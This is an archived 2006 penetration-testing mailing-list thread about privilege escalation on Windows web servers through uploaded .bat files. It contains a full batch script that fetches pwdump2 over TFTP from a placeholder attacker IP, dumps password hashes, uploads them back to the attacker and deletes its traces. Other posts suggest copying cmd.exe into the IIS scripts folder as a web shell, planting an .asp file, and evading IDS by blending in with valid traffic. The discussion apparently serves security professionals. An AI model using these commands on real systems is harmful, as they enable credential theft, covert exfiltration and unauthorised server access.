Home page logo
/

pen-test logo Penetration Testing mailing list archives

Re: privelege escalation with .bat files
From: "Maudite MLRL" <maudite.mlrl () gmail com>
Date: Fri, 28 Apr 2006 09:05:48 -0600

Thanks, I was looking for a couple of the web based command line
scrips that paper has.

One note, in more defensive (IDS/IPS/FW) situations now a days, calls
to http://xxx.xxx.xxx/cmd.exe are going to get flagged and flushed.
With every script kiddie running nikto or other plug and spray
scanners, IDS knows enough to see these.

The concept of command line scripts has worked out really well in
situations where you can post to a world RWX directory because a lot
of organizations are not watching web traffic for items like that.

I always try to keep the goal simple - I want to look like valid traffic.

- M


On 4/27/06, Ben Greenberg <bengreenb () hotmail com> wrote:
One quick comment.  My problem was that I couldn't execute the bat files,
and was looking to see if I could post to them(i finally found a seperate
solution).  My suggestion to anyone who CAN execute bat files is the
following, even simpler solution, to getting a command prompt:

copy C:/windows/system32/cmd.exe C:/inetpub/scripts/

From there, you can post commands to cmd.exe through the method explained in
the paper "One way web hacking".

Peace,

Urthogie


>From: Rich <rlandrig () optonline net>
>To: 'Maudite' <maudite.mlrl () gmail com>, pen-test () securityfocus com
>Subject: RE: privelege escalation with .bat files
>Date: Thu, 27 Apr 2006 09:05:26 -0400
>
>Not only will I not laugh,,  I thank you for sharing this with all of us in
>this group.  Simplicity in itself is excellence, and you have shown a very
>elegant method to us all that now, we can utilize with efficiency.
>
>Thanks again
>rich
>
>-----Original Message-----
>From: Maudite [mailto:maudite.mlrl () gmail com]
>Sent: Wednesday, April 26, 2006 9:50 PM
>To: pen-test () securityfocus com
>Subject: RE: privelege escalation with .bat files
>
>Keep it simple.
>If you can upload and execute a .bat, I use the following a lot with
>metasploit and other items I can get on a machine with. I steal the
>password
>file with pwdump.
>
>
>If you want to upload other items just edit the following for what you want
>to upload (nc, adduser, shell code, root kit...). Save yourself time and
>have the script start and stop everything.
>
>Run a tftp server on your attack machine. I use VM ware a lot so I will
>have
>a linux iso in vm and win running as the base. So I have been using
>tftpd32g. Upload and execute the following. (not a windows guy don't laugh
>at my simple bat)
>
>Winpassword.bat
>_BEGIN
>
>call tftp -i [YOUR attack machine IP HERE] pwdump2.exe
>call tftp -i [YOUR attack machine IP HERE] GET samdump.dll
>call pwdump2.exe >password.txt
>call tftp -i [YOUR attack machine IP HERE] PUT password.txt
>call del /F pwdump2.exe
>call del /F samdump.dll
>call del /F password.txt
>call del /F TFT*
>call del /F winpassword.bat
>call cls
>
>_END
>
>tftpd is on most boxes.
>
>This one uploads, steals the password file (dump then download), then
>deletes itself and ends. On and off in seconds. Then use
>John/l0pht/rainbows
>to pop the passwords. Login.
>
>- Maudite
>maudite.mutantlogic.net
>This must mean something to some one: CISSP/CEH/CISA/.....
>
>-----Original Message-----
>From: Michael Hendrickx [mailto:michael () scanit net]
>Sent: Wednesday, April 26, 2006 12:58 AM
>To: pen-test () securityfocus com
>Subject: Re: privelege escalation with .bat files
>
> > However, its also set up to deny copying (or renaming to) of the
>following
>
> > file extensions .asp, .com, .cmd, .exe, and .dll. Interestingly, it does
> > allow .bat files to be written onto the server.
>
>Can't you make a .ASP file through the bat file?  (echo "<%" >
>file.asp).  When the bat is executed, it's -I think- done locally, and
>the ASP file can be created..  Then you can make a knock-off of
>aspcmd.asp or something.
>
>Just a thought,
>Michael
>
>--
>  Michael Hendrickx, CISSP, SCTA
>  Sr Security Engineer
>  Scanit FZ / LLC
>  http://www.scanit.net
>
>  **********************************************************************
>  This e-mail and attached files are confidential. If you are not the
>  designated recipient, any disclosure, reproduction, copying,
>  distribution, or other  dissemination or use of this communication is
>  strictly prohibited. If you have received this transmission in error
>  please notify the sender immediately and then delete this e-mail.
>  **********************************************************************
>
>----------------------------------------------------------------------------
>--
>This List Sponsored by: Cenzic
>
>Concerned about Web Application Security?
>Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
>Choice Award from eWeek. As attacks through web applications continue to
>rise,
>you need to proactively protect your applications from hackers. Cenzic has
>the
>most comprehensive solutions to meet your application security penetration
>testing and vulnerability management needs. You have an option to go with a
>managed service (Cenzic ClickToSecure) or an enterprise software
>(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
>help you: http://www.cenzic.com/news_events/wpappsec.php
>And, now for a limited time we can do a FREE audit for you to confirm your
>results from other product. Contact us at request () cenzic com for details.
>----------------------------------------------------------------------------
>--
>
>
>----------------------------------------------------------------------------
>--
>This List Sponsored by: Cenzic
>
>Concerned about Web Application Security?
>Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
>Choice Award from eWeek. As attacks through web applications continue to
>rise,
>you need to proactively protect your applications from hackers. Cenzic has
>the
>most comprehensive solutions to meet your application security penetration
>testing and vulnerability management needs. You have an option to go with a
>managed service (Cenzic ClickToSecure) or an enterprise software
>(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
>help you: http://www.cenzic.com/news_events/wpappsec.php
>And, now for a limited time we can do a FREE audit for you to confirm your
>results from other product. Contact us at request () cenzic com for details.
>----------------------------------------------------------------------------
>--
>
>
>
>--
>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.1.385 / Virus Database: 268.4.6/324 - Release Date: 4/25/2006
>
>
>
>------------------------------------------------------------------------------
>This List Sponsored by: Cenzic
>
>Concerned about Web Application Security?
>Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
>Choice Award from eWeek. As attacks through web applications continue to
>rise,
>you need to proactively protect your applications from hackers. Cenzic has
>the
>most comprehensive solutions to meet your application security penetration
>testing and vulnerability management needs. You have an option to go with a
>managed service (Cenzic ClickToSecure) or an enterprise software
>(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
>help you: http://www.cenzic.com/news_events/wpappsec.php
>And, now for a limited time we can do a FREE audit for you to confirm your
>results from other product. Contact us at request () cenzic com for details.
>------------------------------------------------------------------------------
>



------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to rise,
you need to proactively protect your applications from hackers. Cenzic has the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------




--
Maudite @ The MLRL
http://maudite.mutantlogic.net/

A list of my irrelevant certs:
CISSP, CEH, soon CISA

------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to rise,
you need to proactively protect your applications from hackers. Cenzic has the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault